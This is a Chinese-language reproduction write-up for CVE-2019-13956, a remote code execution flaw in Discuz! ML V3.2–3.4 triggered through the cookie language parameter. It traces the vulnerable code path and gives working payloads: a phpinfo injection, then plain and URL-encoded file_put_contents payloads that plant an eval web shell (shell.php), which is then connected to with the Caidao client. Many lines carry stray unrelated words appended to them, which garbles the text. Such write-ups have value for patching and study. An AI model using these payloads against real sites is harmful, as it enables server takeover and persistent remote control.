Discuz! ML遠程代碼執行(CVE-2019-13956)php
1、漏洞描述git
該漏洞存在discuz ml(多國語言版)中,cookie中的language可控而且沒有嚴格過濾,致使能夠遠程代碼執行。github
2、漏洞影響版本shell
Discuz! ML V3.2瀏覽器
Discuz! ML V3.3緩存
Discuz! ML V3.4cookie
3、漏洞環境搭建函數
一、 官網下載Discuz! ML V3.4,下載地址: http://discuz.ml/download工具
二、 將壓縮包解壓到phpstudy網站根目錄,瀏覽器訪問upload目錄開始安裝測試
三、而後就是一直點擊下一步就能夠了,直到完成安裝
4、漏洞復現
一、漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函數處理’diy:portal/index’,而後使用include_once包含
二、跟進template函數,發現把DISCUZ_LANG函數拼接成爲一個緩存文件名,而後又返回了緩存文件名
三、跟進DISCUZ_LANG函數,發現從cookie中取language的值給$lng
四、繼續瀏覽代碼,發現把$lng的值賦給DISCUZ_LANG了
五、到此爲止,整個漏洞分析過程已結束,過程以下:
外部參數$lng(即cookie中的language語言)可控,致使DISCUZ_LANG函數獲取$lng,而後拼接成緩存文件而且返回了緩存文件名,致使template函數生成的緩存文件名可控,插入本身的代碼,最終include_once函數包含一下致使了代碼注入(執行了插入惡意代碼的緩存文件名)。
六、測試漏洞,隨便點擊一個頁面,抓包,將Cookie中的xxx_language參數值改成’.phpinfo().’,發現成功執行了代碼
七、查看緩存文件,發現緩存文件名被修改以下
八、getshell
8.1嘗試上傳一個shell,構造payload,以下:
'.file_put_contents('shell.php','<?php eval($_POST[cmd]);?>').'
執行提示錯誤,多是編碼的緣由
8.二、嘗試對payload進行所有編碼,失敗,只有使用以下payload才能成功
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
8.三、查看是否成功上傳shell.php,發現成功上傳
8.四、菜刀鏈接
----------------------------------------------------------------------------------------
工具檢測:https://github.com/theLSA/discuz-ml-rce
參考: https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&scene=21#wechat_redirect